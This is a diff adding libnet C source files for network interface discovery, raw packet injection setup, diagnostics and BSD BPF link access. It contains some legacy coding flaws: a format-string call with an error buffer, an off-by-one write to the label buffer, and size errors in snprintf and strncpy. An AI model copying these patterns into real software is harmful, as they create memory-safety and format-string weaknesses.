+ strncpy(nifr.ifr_name, device, sizeof(device) - 1);
+ nifr.ifr_name[sizeof(nifr.ifr_name) - 1] = '\0';
+ if (ioctl(fd, SIOCGIFADDR, (int8_t *)&nifr) < 0)
+ {
+ if (errno != EADDRNOTAVAIL)
+ {
+ snprintf(errbuf, LIBNET_ERRBUF_SIZE,
+ "%s(): SIOCGIFADDR: dev=%s: %s\n", __func__, device,
+ strerror(errno));
+ close(fd);
+ return (-1);
+ }
+ else /* device has no IP address => set to 0 */
+ {
+ al->addr = 0;
+ }
+ }
+ else
+ {
+ al->addr = ((struct sockaddr_in *)&nifr.ifr_addr)->sin_addr.s_addr;
+ }
+
+ if ((al->device = strdup(device)) == NULL)
+ {
+ snprintf(errbuf, LIBNET_ERRBUF_SIZE,
+ "%s(): strdup not enough memory\n", __func__);
+ return(-1);
+ }
+
+ ++al;
+ ++nipaddr;
+
+#ifndef HAVE_LINUX_PROCFS
+ pifr = ifr;
+#endif
+
+ } /* while|for */
+
+#ifdef HAVE_LINUX_PROCFS
+ if (ferror(fp))
+ {
+ snprintf(errbuf, LIBNET_ERRBUF_SIZE,
+ "%s(): ferror: %s\n", __func__, strerror(errno));
+ return (-1);
+ }
+ fclose(fp);
+#endif
+
+ *ipaddrp = ifaddrlist;
+ return (nipaddr);
+}
+#else
+/* From tcptraceroute, convert a numeric IP address to a string */
+#define IPTOSBUFFERS 12
+static int8_t *iptos(u_int32_t in)
+{
+ static int8_t output[IPTOSBUFFERS][ 3 * 4 + 3 + 1];
+ static int16_t which;
+ u_int8_t *p;
+
+ p = (u_int8_t *)&in;
+ which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
+ snprintf(output[which], IPTOSBUFFERS, "%d.%d.%d.%d",
+ p[0], p[1], p[2], p[3]);
+ return output[which];
+}
+
+int
+libnet_ifaddrlist(register struct libnet_ifaddr_list **ipaddrp, int8_t *dev,
+register int8_t *errbuf)
+{
+ int nipaddr = 0; int i = 0;
+
+ static struct libnet_ifaddr_list ifaddrlist[MAX_IPADDR];
+ pcap_if_t *alldevs;
+ pcap_if_t *d;
+ int8_t err[PCAP_ERRBUF_SIZE];
+
+ /* Retrieve the interfaces list */
+ if (pcap_findalldevs(&alldevs, err) == -1)
+ {
+ snprintf(errbuf, LIBNET_ERRBUF_SIZE,
+ "%s(): error in pcap_findalldevs: %s\n", __func__, err);
+ return (-1);
+ }
+
+ /* Scan the list printing every entry */
+ for (d = alldevs; d; d = d->next)
+ {
+ if((!d->addresses) || (d->addresses->addr->sa_family != AF_INET))
+ continue;
+ if(d->flags & PCAP_IF_LOOPBACK)
+ continue;
+
+ /* XXX - strdup */
+ ifaddrlist[i].device = strdup(d->name);
+ ifaddrlist[i].addr = (u_int32_t)
+ strdup(iptos(((struct sockaddr_in *)
+ d->addresses->addr)->sin_addr.s_addr));
+ ++i;
+ ++nipaddr;
+ }
+
+ *ipaddrp = ifaddrlist;
+ return (nipaddr);
+}
+#endif /* __WIN32__ */
+
+int
+libnet_select_device(libnet_t *l)
+{
+ int c, i;
+ int8_t err_buf[LIBNET_ERRBUF_SIZE];
+ struct libnet_ifaddr_list *address_list, *al;
+ u_int32_t addr;
+
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ if (l->device && !isdigit(l->device[0]))
+ {
+#if !(__WIN32__)
+ if (libnet_check_iface(l) < 0)
+ {
+ /* err msg set in libnet_check_iface() */
+ return (-1);
+ }
+#endif
+ return (1);
+ }
+
+ /*
+ * Number of interfaces.
+ */
+ c = libnet_ifaddrlist(&address_list, l->device, err_buf);
+ if (c < 0)
+ {
+ /* err msg set in libnet_ifaddrlist() */
+ return (-1);
+ }
+ else if (c == 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): no network interface found\n", __func__);
+ return (-1);
+ }
+
+ al = address_list;
+ if (l->device)
+ {
+ /*
+ * Then we have an IP address in l->device => do lookup
+ */
+ addr = libnet_name2addr4(l, l->device, 0);
+
+ for (i = c; i; --i, ++address_list)
+ {
+ if (((addr == -1) && !(strncmp(l->device, address_list->device,
+ strlen(l->device)))) ||
+ (address_list->addr == addr))
+ {
+ /* free the "user supplied device" - see libnet_init() */
+ free(l->device);
+ l->device = strdup(address_list->device);
+ goto good;
+ }
+ }
+ if (i <= 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't find interface for IP %s\n", __func__,
+ l->device);
+ goto bad;
+ }
+ }
+ else
+ {
+ l->device = strdup(address_list->device);
+ }
+
+good:
+ for (i = 0; i < c; i++)
+ {
+ free(al[i].device);
+ }
+ return (1);
+
+bad:
+ for (i = 0; i < c; i++)
+ {
+ free(al[i].device);
+ }
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_init.c b/libnet/src/libnet_init.c
new file mode 100644
index 0000000..f83456c
--- /dev/null
+++ b/libnet/src/libnet_init.c
@@ -0,0 +1,273 @@
+/*
+ * $Id: libnet_init.c,v 1.17 2004/03/16 18:40:59 mike Exp $
+ *
+ * libnet
+ * libnet_init.c - Initilization routines.
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_t *
+libnet_init(int injection_type, char *device, char *err_buf)
+{
+ libnet_t *l = NULL;
+
+#if !defined(__WIN32__)
+ if (getuid() && geteuid())
+ {
+ snprintf(err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): UID or EUID of 0 required\n", __func__);
+ goto bad;
+ }
+#else
+ WSADATA wsaData;
+
+ if ((WSAStartup(0x0202, &wsaData)) != 0)
+ {
+ snprintf(err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): unable to initialize winsock 2\n", __func__);
+ goto bad;
+ }
+#endif
+
+ l = (libnet_t *)malloc(sizeof (libnet_t));
+ if (l == NULL)
+ {
+ snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s\n", __func__,
+ strerror(errno));
+ goto bad;
+ }
+
+ memset(l, 0, sizeof (*l));
+
+ l->injection_type = injection_type;
+ l->ptag_state = LIBNET_PTAG_INITIALIZER;
+ l->device = (device ? strdup(device) : NULL);
+
+ strncpy(l->label, LIBNET_LABEL_DEFAULT, LIBNET_LABEL_SIZE);
+ l->label[sizeof(l->label)] = '\0';
+
+ switch (l->injection_type)
+ {
+ case LIBNET_LINK:
+ case LIBNET_LINK_ADV:
+ if (libnet_select_device(l) == -1)
+ {
+ snprintf(err_buf, LIBNET_ERRBUF_SIZE, l->err_buf);
+ goto bad;
+ }
+ if (libnet_open_link(l) == -1)
+ {
+ snprintf(err_buf, LIBNET_ERRBUF_SIZE, l->err_buf);
+ goto bad;
+ }
+ break;
+ case LIBNET_RAW4:
+ case LIBNET_RAW4_ADV:
+ if (libnet_open_raw4(l) == -1)
+ {
+ snprintf(err_buf, LIBNET_ERRBUF_SIZE, l->err_buf);
+ goto bad;
+ }
+ break;
+ case LIBNET_RAW6:
+ case LIBNET_RAW6_ADV:
+ if (libnet_open_raw6(l) == -1)
+ {
+ snprintf(err_buf, LIBNET_ERRBUF_SIZE, l->err_buf);
+ goto bad;
+ }
+ break;
+ default:
+ snprintf(err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): unsupported injection type\n", __func__);
+ goto bad;
+ break;
+ }
+
+ return (l);
+
+bad:
+ if (l)
+ {
+ libnet_destroy(l);
+ }
+ return (NULL);
+}
+
+void
+libnet_destroy(libnet_t *l)
+{
+ if (l)
+ {
+ close(l->fd);
+ if (l->device)
+ {
+ free(l->device);
+ }
+ libnet_clear_packet(l);
+ free(l);
+ }
+}
+
+void
+libnet_clear_packet(libnet_t *l)
+{
+ libnet_pblock_t *p;
+ libnet_pblock_t *next;
+
+ if (l)
+ {
+ p = l->protocol_blocks;
+ if (p)
+ {
+ for (; p; p = next)
+ {
+ next = p->next;
+ if (p->buf)
+ {
+ free(p->buf);
+ }
+ free(p);
+ }
+ }
+ l->protocol_blocks = NULL;
+ l->total_size = 0;
+ }
+}
+
+void
+libnet_stats(libnet_t *l, struct libnet_stats *ls)
+{
+ if (l == NULL)
+ {
+ return;
+ }
+
+ ls->packets_sent = l->stats.packets_sent;
+ ls->packet_errors = l->stats.packet_errors;
+ ls->bytes_written = l->stats.bytes_written;
+}
+
+int
+libnet_getfd(libnet_t *l)
+{
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ return (l->fd);
+}
+
+int8_t *
+libnet_getdevice(libnet_t *l)
+{
+ if (l == NULL)
+ {
+ return (NULL);
+ }
+
+ return (l->device);
+}
+
+u_int8_t *
+libnet_getpbuf(libnet_t *l, libnet_ptag_t ptag)
+{
+ libnet_pblock_t *p;
+
+ if (l == NULL)
+ {
+ return (NULL);
+ }
+
+ p = libnet_pblock_find(l, ptag);
+ if (p == NULL)
+ {
+ /* err msg set in libnet_pblock_find() */
+ return (NULL);
+ }
+ else
+ {
+ return (p->buf);
+ }
+}
+
+u_int32_t
+libnet_getpbuf_size(libnet_t *l, libnet_ptag_t ptag)
+{
+ libnet_pblock_t *p;
+
+ if (l == NULL)
+ {
+ return (0);
+ }
+
+ p = libnet_pblock_find(l, ptag);
+ if (p == NULL)
+ {
+ /* err msg set in libnet_pblock_find() */
+ return (0);
+ }
+ else
+ {
+ return (p->b_len);
+ }
+}
+
+u_int32_t
+libnet_getpacket_size(libnet_t *l)
+{
+ libnet_pblock_t *p;
+ u_int32_t n;
+
+ if (l == NULL)
+ {
+ return (0);
+ }
+
+ n = 0;
+ p = l->protocol_blocks;
+ if (p)
+ {
+ for (; p; p = p->next)
+ {
+ n += p->b_len;
+ }
+ }
+ return (n);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_internal.c b/libnet/src/libnet_internal.c
new file mode 100644
index 0000000..1a42a8e
--- /dev/null
+++ b/libnet/src/libnet_internal.c
@@ -0,0 +1,310 @@
+/*
+ * $Id: libnet_internal.c,v 1.14 2004/03/16 18:40:59 mike Exp $
+ *
+ * libnet
+ * libnet_internal.c - secret routines!
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+void
+libnet_diag_dump_hex(u_int8_t *packet, u_int32_t len, int swap, FILE *stream)
+{
+ int i, s_cnt;
+ u_int16_t *p;
+
+ p = (u_int16_t *)packet;
+ s_cnt = len / sizeof(u_int16_t);
+
+ fprintf(stream, "\t");
+ for (i = 0; --s_cnt >= 0; i++)
+ {
+ if ((!(i % 8)))
+ {
+ fprintf(stream, "\n%02x\t", (i * 2));
+ }
+ fprintf(stream, "%04x ", swap ? ntohs(*(p++)) : *(p++));
+ }
+
+ /*
+ * Mop up an odd byte.
+ */
+ if (len & 1)
+ {
+ if ((!(i % 8)))
+ {
+ fprintf(stream, "\n%02x\t", (i * 2));
+ }
+ fprintf(stream, "%02x ", *(u_int8_t *)p);
+ }
+ fprintf(stream, "\n");
+}
+
+
+void
+libnet_diag_dump_context(libnet_t *l)
+{
+ if (l == NULL)
+ {
+ return;
+ }
+
+ fprintf(stderr, "fd:\t\t%d\n", l->fd);
+
+ switch (l->injection_type)
+ {
+ case LIBNET_LINK:
+ fprintf(stderr, "injection type:\tLIBNET_LINK\n");
+ break;
+ case LIBNET_RAW4:
+ fprintf(stderr, "injection type:\tLIBNET_RAW4\n");
+ break;
+ case LIBNET_RAW6:
+ fprintf(stderr, "injection type:\tLIBNET_RAW6\n");
+ break;
+ case LIBNET_LINK_ADV:
+ fprintf(stderr, "injection type:\tLIBNET_LINK_ADV\n");
+ break;
+ case LIBNET_RAW4_ADV:
+ fprintf(stderr, "injection type:\tLIBNET_RAW4_ADV\n");
+ break;
+ case LIBNET_RAW6_ADV:
+ fprintf(stderr, "injection type:\tLIBNET_RAW6_ADV\n");
+ break;
+ default:
+ fprintf(stderr, "injection type:\tinvalid injection type %d\n",
+ l->injection_type);
+ break;
+ }
+
+ fprintf(stderr, "pblock start:\t%p\n", l->protocol_blocks);
+ fprintf(stderr, "pblock end:\t%p\n", l->pblock_end);
+ fprintf(stderr, "link type:\t%d\n", l->link_type);
+ fprintf(stderr, "link offset:\t%d\n", l->link_offset);
+ fprintf(stderr, "aligner:\t%d\n", l->aligner);
+ fprintf(stderr, "device:\t\t%s\n", l->device);
+ fprintf(stderr, "packets sent:\t%lld\n", l->stats.packets_sent);
+ fprintf(stderr, "packet errors:\t%lld\n", l->stats.packet_errors);
+ fprintf(stderr, "bytes written:\t%lld\n", l->stats.bytes_written);
+ fprintf(stderr, "ptag state:\t%d\n", l->ptag_state);
+ fprintf(stderr, "context label:\t%s\n", l->label);
+ fprintf(stderr, "last errbuf:\t%s\n", l->err_buf);
+ fprintf(stderr, "total size:\t%d\n", l->total_size);
+}
+
+void
+libnet_diag_dump_pblock(libnet_t *l)
+{
+ u_int32_t n;
+ libnet_pblock_t *p;
+
+ for (p = l->protocol_blocks; p; p = p->next)
+ {
+ fprintf(stderr, "pblock type:\t%s\n",
+ libnet_diag_dump_pblock_type(p->type));
+ fprintf(stderr, "ptag number:\t%d\n", p->ptag);
+ fprintf(stderr, "IP offset:\t%d\n", p->ip_offset);
+ fprintf(stderr, "pblock address:\t%p\n", p);
+ fprintf(stderr, "next pblock\t%p ", p->next);
+ if (p->next)
+ {
+ fprintf(stderr, "(%s)",
+ libnet_diag_dump_pblock_type(p->next->type));
+ }
+ fprintf(stderr, "\n");
+ fprintf(stderr, "prev pblock\t%p ", p->prev);
+ if (p->prev)
+ {
+ fprintf(stderr, "(%s)",
+ libnet_diag_dump_pblock_type(p->prev->type));
+ }
+ fprintf(stderr, "\n");
+ fprintf(stderr, "buf:\t\t");
+ for (n = 0; n < p->b_len; n++)
+ {
+ fprintf(stderr, "%02x", p->buf[n]);
+ }
+ fprintf(stderr, "\nbuffer length:\t%d\n", p->b_len);
+ if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM)
+ {
+ fprintf(stderr, "checksum flag:\tYes\n");
+ fprintf(stderr, "chksum length:\t%d\n", p->h_len);
+ }
+ else
+ {
+ fprintf(stderr, "checksum flag:\tNo\n");
+ }
+ fprintf(stderr, "bytes copied:\t%d\n\n", p->copied);
+ }
+}
+
+char *
+libnet_diag_dump_pblock_type(u_int8_t type)
+{
+ static int8_t buf[50];
+ switch (type)
+ {
+ case LIBNET_PBLOCK_ARP_H:
+ return ("arp header");
+ case LIBNET_PBLOCK_DHCPV4_H:
+ return ("dhcpv4 header");
+ case LIBNET_PBLOCK_DNSV4_H:
+ return ("dnsv4 header");
+ case LIBNET_PBLOCK_ETH_H:
+ return ("ethernet header");
+ case LIBNET_PBLOCK_ICMPV4_H:
+ return ("icmpv4 header");
+ case LIBNET_PBLOCK_ICMPV4_ECHO_H:
+ return ("icmpv4 echo header");
+ case LIBNET_PBLOCK_ICMPV4_MASK_H:
+ return ("icmpv4 mask header");
+ case LIBNET_PBLOCK_ICMPV4_UNREACH_H:
+ return ("icmpv4 unreachable header");
+ case LIBNET_PBLOCK_ICMPV4_TIMXCEED_H:
+ return ("icmpv4 time exceeded header");
+ case LIBNET_PBLOCK_ICMPV4_REDIRECT_H:
+ return ("icmpv4 redirect header");
+ case LIBNET_PBLOCK_ICMPV4_TS_H:
+ return ("icmpv4 timestamp header");
+ case LIBNET_PBLOCK_IGMP_H:
+ return ("igmp header");
+ case LIBNET_PBLOCK_IPV4_H:
+ return ("ipv4 header");
+ case LIBNET_PBLOCK_IPO_H:
+ return ("ip options header");
+ case LIBNET_PBLOCK_IPDATA:
+ return ("ip data");
+ case LIBNET_PBLOCK_OSPF_H:
+ return ("ospf header");
+ case LIBNET_PBLOCK_OSPF_HELLO_H:
+ return ("ospf hello header");
+ case LIBNET_PBLOCK_OSPF_DBD_H:
+ return ("ospf dbd header");
+ case LIBNET_PBLOCK_OSPF_LSR_H:
+ return ("ospf lsr header");
+ case LIBNET_PBLOCK_OSPF_LSU_H:
+ return ("ospf lsu header");
+ case LIBNET_PBLOCK_OSPF_LSA_H:
+ return ("ospf lsa header");
+ case LIBNET_PBLOCK_OSPF_AUTH_H:
+ return ("ospf authentication header");
+ case LIBNET_PBLOCK_OSPF_CKSUM:
+ return ("ospf checksum");
+ case LIBNET_PBLOCK_LS_RTR_H:
+ return ("ospf ls rtr header");
+ case LIBNET_PBLOCK_LS_NET_H:
+ return ("ospf ls net header");
+ case LIBNET_PBLOCK_LS_SUM_H:
+ return ("ospf ls sum header");
+ case LIBNET_PBLOCK_LS_AS_EXT_H:
+ return ("ospf ls as extension header");
+ case LIBNET_PBLOCK_NTP_H:
+ return ("ntp header");
+ case LIBNET_PBLOCK_RIP_H:
+ return ("rip header");
+ case LIBNET_PBLOCK_TCP_H:
+ return ("tcp header");
+ case LIBNET_PBLOCK_TCPO_H:
+ return ("tcp options header");
+ case LIBNET_PBLOCK_TCPDATA:
+ return ("tcp data");
+ case LIBNET_PBLOCK_UDP_H:
+ return ("udp header");
+ case LIBNET_PBLOCK_VRRP_H:
+ return ("vrrp header");
+ case LIBNET_PBLOCK_DATA_H:
+ return ("data");
+ case LIBNET_PBLOCK_CDP_H:
+ return ("cdp header");
+ case LIBNET_PBLOCK_IPSEC_ESP_HDR_H:
+ return ("ipsec esp header");
+ case LIBNET_PBLOCK_IPSEC_ESP_FTR_H:
+ return ("ipsec esp footer");
+ case LIBNET_PBLOCK_IPSEC_AH_H:
+ return ("ipsec authentication header");
+ case LIBNET_PBLOCK_802_1Q_H:
+ return ("802.1q header");
+ case LIBNET_PBLOCK_802_2_H:
+ return ("802.2 header");
+ case LIBNET_PBLOCK_802_2SNAP_H:
+ return ("802.2SNAP header");
+ case LIBNET_PBLOCK_802_3_H:
+ return ("802.3 header");
+ case LIBNET_PBLOCK_STP_CONF_H:
+ return ("stp configuration header");
+ case LIBNET_PBLOCK_STP_TCN_H:
+ return ("stp tcn header");
+ case LIBNET_PBLOCK_ISL_H:
+ return ("isl header");
+ case LIBNET_PBLOCK_IPV6_H:
+ return ("ipv6 header");
+ case LIBNET_PBLOCK_802_1X_H:
+ return ("802.1x header");
+ case LIBNET_PBLOCK_RPC_CALL_H:
+ return ("rpc call header");
+ case LIBNET_PBLOCK_MPLS_H:
+ return ("mlps header");
+ case LIBNET_PBLOCK_FDDI_H:
+ return ("fddi header");
+ case LIBNET_PBLOCK_TOKEN_RING_H:
+ return ("token ring header");
+ case LIBNET_PBLOCK_BGP4_HEADER_H:
+ return ("bgp header");
+ case LIBNET_PBLOCK_BGP4_OPEN_H:
+ return ("bgp open header");
+ case LIBNET_PBLOCK_BGP4_UPDATE_H:
+ return ("bgp update header");
+ case LIBNET_PBLOCK_BGP4_NOTIFICATION_H:
+ return ("bgp notification header");
+ case LIBNET_PBLOCK_GRE_H:
+ return ("gre header");
+ case LIBNET_PBLOCK_GRE_SRE_H:
+ return ("gre sre header");
+ case LIBNET_PBLOCK_IPV6_FRAG_H:
+ return ("ipv6 fragmentation header");
+ case LIBNET_PBLOCK_IPV6_ROUTING_H:
+ return ("ipv6 routing header");
+ case LIBNET_PBLOCK_IPV6_DESTOPTS_H:
+ return ("ipv6 destination options header");
+ case LIBNET_PBLOCK_IPV6_HBHOPTS_H:
+ return ("ipv6 hop by hop options header");
+ default:
+ snprintf(buf, sizeof(buf),
+ "%s(): unknown pblock type: %d", __func__, type);
+ return (buf);
+ }
+ return ("unreachable code");
+}
+/* EOF */
diff --git a/libnet/src/libnet_link_bpf.c b/libnet/src/libnet_link_bpf.c
new file mode 100644
index 0000000..569ae9c
--- /dev/null
+++ b/libnet/src/libnet_link_bpf.c
@@ -0,0 +1,333 @@
+/*
+ * $Id: libnet_link_bpf.c,v 1.6 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_link_bpf.c - low-level bpf routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1993, 1994, 1995, 1996, 1998
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that: (1) source code distributions
+ * retain the above copyright notice and this paragraph in its entirety, (2)
+ * distributions including binary code include the above copyright notice and
+ * this paragraph in its entirety in the documentation or other materials
+ * provided with the distribution, and (3) all advertising materials mentioning
+ * features or use of this software display the following acknowledgement:
+ * ``This product includes software developed by the University of California,
+ * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
+ * the University nor the names of its contributors may be used to endorse
+ * or promote products derived from this software without specific prior
+ * written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+#include <sys/param.h> /* optionally get BSD define */
+#include <sys/timeb.h>
+#include <sys/file.h>
+#include <sys/ioctl.h>
+
+#include <sys/types.h>
+#include <sys/time.h>
+#include <net/bpf.h>
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "../include/libnet.h"
+#include <sys/sysctl.h>
+#include <net/route.h>
+#include <net/if_dl.h>
+#include "../include/gnuc.h"
+#include "../include/bpf.h"
+
+#ifdef HAVE_OS_PROTO_H
+#include "../include/os-proto.h"
+#endif
+
+int
+libnet_bpf_open(int8_t *err_buf)
+{
+ int i, fd;
+ int8_t device[sizeof "/dev/bpf000"];
+
+ /*
+ * Go through all the minors and find one that isn't in use.
+ */
+ for (i = 0;;i++)
+ {
+ sprintf(device, "/dev/bpf%d", i);
+
+ fd = open(device, O_RDWR);
+ if (fd == -1 && errno == EBUSY)
+ {
+ /*
+ * Device is busy.
+ */
+ continue;
+ }
+ else
+ {
+ /*
+ * Either we've got a valid file descriptor, or errno is not
+ * EBUSY meaning we've probably run out of devices.
+ */
+ break;
+ }
+ }
+
+ if (fd == -1)
+ {
+ snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): (%s): %s\n",
+ __func__, device, strerror(errno));
+ }
+ return (fd);
+}
+
+
+int
+libnet_open_link(libnet_t *l)
+{
+ struct ifreq ifr;
+ struct bpf_version bv;
+ u_int v;
+
+#if defined(BIOCGHDRCMPLT) && defined(BIOCSHDRCMPLT) && !(__APPLE__)
+ u_int spoof_eth_src = 1;
+#endif
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ if (l->device == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): NULL device\n",
+ __func__);
+ goto bad;
+ }
+
+ l->fd = libnet_bpf_open(l->err_buf);
+ if (l->fd == -1)
+ {
+ goto bad;
+ }
+
+ /*
+ * Get bpf version.
+ */
+ if (ioctl(l->fd, BIOCVERSION, (caddr_t)&bv) < 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCVERSION: %s\n",
+ __func__, strerror(errno));
+ goto bad;
+ }
+
+ if (bv.bv_major != BPF_MAJOR_VERSION || bv.bv_minor < BPF_MINOR_VERSION)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): kernel bpf filter out of date\n", __func__);
+ goto bad;
+ }
+
+ /*
+ * Attach network interface to bpf device.
+ */
+ strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) - 1);
+ ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
+
+ if (ioctl(l->fd, BIOCSETIF, (caddr_t)&ifr) == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCSETIF: (%s): %s\n",
+ __func__, l->device, strerror(errno));
+ goto bad;
+ }
+
+ /*
+ * Get the data link-layer type.
+ */
+ if (ioctl(l->fd, BIOCGDLT, (caddr_t)&v) == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCGDLT: %s\n",
+ __func__, strerror(errno));
+ goto bad;
+ }
+
+ /*
+ * NetBSD and FreeBSD BPF have an ioctl for enabling/disabling
+ * automatic filling of the link level source address.
+ */
+#if defined(BIOCGHDRCMPLT) && defined(BIOCSHDRCMPLT) && !(__APPLE__)
+ if (ioctl(l->fd, BIOCSHDRCMPLT, &spoof_eth_src) == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCSHDRCMPLT: %s\n",
+ __func__, strerror(errno));
+ goto bad;
+ }
+#endif
+
+ /*
+ * Assign link type and offset.
+ */
+ switch (v)
+ {
+ case DLT_SLIP:
+ l->link_offset = 0x10;
+ break;
+ case DLT_RAW:
+ l->link_offset = 0x0;
+ break;
+ case DLT_PPP:
+ l->link_offset = 0x04;
+ break;
+ case DLT_EN10MB:
+ default:
+ l->link_offset = 0xe; /* default to ethernet */
+ break;
+ }
+#if _BSDI_VERSION - 0 >= 199510
+ switch (v)
+ {
+ case DLT_SLIP:
+ v = DLT_SLIP_BSDOS;
+ l->link_offset = 0x10;
+ break;
+ case DLT_PPP:
+ v = DLT_PPP_BSDOS;
+ l->link_offset = 0x04;
+ break;
+ }
+#endif
+ l->link_type = v;
+
+ return (1);
+
+bad:
+ if (l->fd > 0)
+ {
+ close(l->fd); /* this can fail ok */
+ }
+ return (-1);
+}
+
+
+int
+libnet_close_link(libnet_t *l)
+{
+ if (close(l->fd) == 0)
+ {
+ return (1);
+ }
+ else
+ {
+ return (-1);
+ }
+}
+
+
+int
+libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size)
+{
+ int c;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ c = write(l->fd, packet, size);
+ if (c != size)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): %d bytes written (%s)\n", __func__, c, strerror(errno));
+ }
+ return (c);
+}
+
+
+struct libnet_ether_addr *
+libnet_get_hwaddr(libnet_t *l)
+{
+ int mib[6];
+ size_t len;
+ int8_t *buf, *next, *end;
+ struct if_msghdr *ifm;
+ struct sockaddr_dl *sdl;
+ struct libnet_ether_addr *ea = NULL;
+
+ mib[0] = CTL_NET;
+ mib[1] = AF_ROUTE;
+ mib[2] = 0;
+ mib[3] = AF_LINK;
+ mib[4] = NET_RT_IFLIST;
+ mib[5] = 0;
+
+ if (l == NULL)
+ {
+ return (NULL);
+ }
+
+ if (l->device == NULL)
+ {
+ if (libnet_select_device(l) == -1)
+ {
